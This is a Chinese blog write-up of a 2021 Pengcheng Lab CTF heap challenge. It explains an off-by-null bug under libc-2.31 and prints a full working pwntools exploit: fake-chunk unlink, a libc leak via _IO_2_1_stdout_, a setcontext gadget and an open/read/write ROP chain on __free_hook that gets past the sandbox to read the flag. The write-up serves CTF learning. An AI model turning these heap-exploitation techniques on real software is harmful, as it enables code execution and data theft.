2021-鹏城实验室网络安全技能大赛-pwn-babyheap 题解

原创

__lifanxin 于 2021-09-28 20:42:31 发布 1437 收藏 1

分类专栏： 网络安全 ctf pwn 文章标签： 网络安全 ctf pwn

本文链接：https://blog.csdn.net/A951860555/article/details/120535350

Write Up

文件信息

本题来自于2021年的鹏城实验室比赛的pwn题，题目链接如下：2021-鹏城实验室-pwn-babyheap。

该题目主要考查了libc-2.29.so及以上版本的off-by-null利用方式，本题目使用的是libc-2.31.so，知识点学习推荐博客glibc2.29下的off-by-null。同时作为堆题，保护全开，没有可用的show功能函数，必须使用IO_FILE来leak libc，知识点学习推荐博客pwn题堆利用的一些姿势 – IO_FILE。最后，题目使用了沙箱进制进行保护，禁用了execve系统调用，所以得用setcontext这个点，知识点学习推荐博客pwn堆利用的一些姿势 – setcontext。当然这里setcontext的使用略有不同，后面利用分析中会讲解。

漏洞定位

在main函数由于使用了`jmp rax`，所以反编译会有点问题，导致后面的菜单功能调用不能直接看伪代码，不过问题不大直接看汇编就好了，具体功能很容易分析的，此处不再详述。

这里我们直接定位到有漏洞的代码处，如下截图所示，有问题的代码位于具有edit功能的函数中。在已经修改完堆块内容后，edi函数中会调用如下代码对堆内容的每个字节做个检查，有一个字节的值是0xf的倍数的话都会导致v3值增加1，如果v3的值最后也是0xf的倍数，那么就会造成off-by-null漏洞。

```
_BYTE *__fastcall vuln(__int64 a1, int len)
{
  _BYTE *result; // rax
  char v3; // [rsp+14h] [rbp-8h]
  int i; // [rsp+18h] [rbp-4h]

  v3 = 0;
  for ( i = 0; i < len; ++i )
  {
    if ( (*(i + a1) & 0xF) == 0 )
      ++v3;
  }
  result = (v3 & 0xF);
  if ( (v3 & 0xF) == 0 )
  {
    result = (len + a1);
    *result = 0;
  }
  return result;
}
```


利用分析

好了，经过前面的分析，漏洞也算是比较直接的吧，其它菜单功能也很简单，所以基本上分析不会耗太多的时间，这里难的是在利用上。在最开始的题目信息介绍中，我已经介绍了相关的知识点，在利用思路上来说，其实也算是很直接，off-by-null漏洞点，没有leak函数，开了沙箱，每一步都是水到渠成的，难的是在多种知识考点的结合，编写exp确实要花费一定的时间。

这里将完整的利用流程叙述一遍。首先是libc-2.31.so下的off-by-null漏洞利用，该利用步骤大致可以分为四步：第一，利用large bin构造一个fake chunk；第二，利用small bin的性质构造fd->bk = fake chunk；第三，利用fast bin的性质构造bk->fd = fake chunk；第四，利用off-by-null修改prev_size和chunk_in_use标志位，最后unlink完事。当然在编写过程中会略显繁琐，需要仔细并且要算好堆块的一些偏移。

unlink之后的步骤是利用 `_IO_2_1_stdout_` 这个结构来泄露libc，具体操作的话需要将堆块分配到该结构体处，这里需要爆破一位（末三位是固定的），调试的话建议先关闭本地的随机化。之后我们修改其值为 `p64(0xfbad3887)+p64(0)*3 + p8(0)` 就会leak出libc信息。

在泄露出libc后，我们就来到最后一大步了，首先我们先把orw链以及setcontext中的调用逻辑设置好。这里的细节在于，在libc-2.31.so中的setcontext是用rdx传递参数的，所以需要找一特殊的gadget来将rdi的参数传给rdx，具体见代码。最后我们再将堆块分配到free_hook上，将上述setcontext和orw组成的调用逻辑写在该堆块上，之后执行free就大功告成。

WP

完整exp如下，注释写的很详细，大家可以细细分析一波。

```python
from pwn import *


ld_path = ""
libc_path = "./libc.so.6"
# p = process([ld_path, "./babyheap"], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
p = process("./babyheap", env={"LD_PRELOAD":libc_path})
# p = remote("")

# context.log_level = "debug"

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
```

```python
def add(size):
    sa("Choice:", "1")
    sa("Size: ", str(size))

def edit(index, con):
    sa("Choice:", "2")
    sa("Index: ", str(index))
    sa("Content: \n", con)

def free(index):
    sa("Choice:", "3")
    sa("Index: ", str(index))

def show():
    sa("Choice:", "4")


### off by null + libc-2.31.so

## make a fake chunk from large bin
# use for adjust the margin and will use again in the last
add(0x18)     # 0
add(0x400)    # 1
# use for fill tcache
for i in range(7):    # 2-8
    add(0x28)

add(0x1000)   # 9  use for slice
add(0x18)     # 10 avoid to merg with top chunk
free(9)       #    unsorted bin
add(0x2000)   # 9  set chunk 1000 into largebin

# slice large bin
add(0x28)     # 11 fake chunk
edit(11, p64(0)+p64(0x521)+p8(0x40))

# will use in the next
for i in range(4):    # 12-15
    add(0x28)

## use small bin: fd->bk = fake chunk
# fill tcache
for i in range(2, 9):
    free(i)
# fastbin
free(14)
free(12)
# clear tcache
for i in range(7):    # 2-8
    add(0x28)

add(0x400)    # 12 fatsbin into smallbin
add(0x28)     # 14
add(0x28)     # 16
edit(14, cyclic(0x8)+p8(0x20))

## use fastbin: bk->fd = fake chunk
# fill tcache
```

```python
for i in range(2, 9):
    free(i)
# fastbin
free(13)
free(11)      # fake chunk
# clear tcache
for i in range(7):    # 2-8
    add(0x28)

add(0x28)     # 11
add(0x28)     # 13
edit(11, p8(0x20))

## use off by null
add(0x28)     # 17
add(0x5f8)    # 18
add(0x4c0)    # 19 avoid to merge with the unsorted bin
edit(17, b"\x00"*9+cyclic(0x20-9)+p64(0x520))

## unlink
free(18)


### _IO_2_1_stdout --> leak

## leak libc
free(1)
free(12)
add(0xd0)     # 1
add(0xd0)     # 12
edit(12, p16(0x36a0))
add(0x400)    # 18
add(0x400)    # 20
edit(20, p64(0xfbad3887)+p64(0)*3 + p8(0))
info = u64(ru(b"\x7f")[-6:].ljust(8, b'\x00'))
print("leak: ", hex(info))

## count
libc = ELF(libc_path)
base = info-libc.sym["_IO_2_1_stdin_"]
print("base: ", hex(base))
f_hook = base+libc.sym["__free_hook"]
setcontext = base+libc.sym["setcontext"]
mprotect = base+libc.sym["mprotect"]
print("f_hook: ", hex(f_hook))


### orw + setcontext
################

pop_rax = base + 0x4a550
pop_rdi = base + 0x26b72
pop_rsi = base + 0x27529
pop_rdx_r12 = base + 0x11c371
syscall = base + 0x66229
ret = base + 0x25679

#  0x0000000000154930 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
pad = p64(base+0x154930)
```

```
pad = pad.ljust(0x20, b'\x00')
pad += p64(setcontext+0x3d)
pad = pad.ljust(0xa0, b'\x00')
pad += p64(f_hook+0xb0)         # orw
pad += p64(ret)                 # ret

# open
flag = f_hook + 0x150
pad += p64(pop_rdi) + p64(flag)
pad += p64(pop_rax) + p64(2)
pad += p64(syscall)
# read(3, buf, 0x30)
pad += p64(pop_rdi) + p64(3)
pad += p64(pop_rsi) + p64(f_hook+0x200)
pad += p64(pop_rdx_r12) + p64(0x30) + p64(0)
pad += p64(pop_rax) + p64(0)
pad += p64(syscall)
# write(1, buf, 0x30)
pad += p64(pop_rdi) + p64(1)
pad += p64(pop_rax) + p64(1)
pad += p64(syscall)
printf(hex(len(pad)))  # 0x150
pad += b"flag\x00"
################

## alloc to free_hook
add(0x320)   # 21
add(0x320)   # 22
free(21)
free(22)
edit(17, p64(f_hook))
add(0x320)   # 21
add(0x320)   # 22 free_hook
edit(22, pad)
edit(0, cyclic(0x8)+p64(f_hook))

## attack
free(0)

shell()
```

总结

不忘初心，砥砺前行！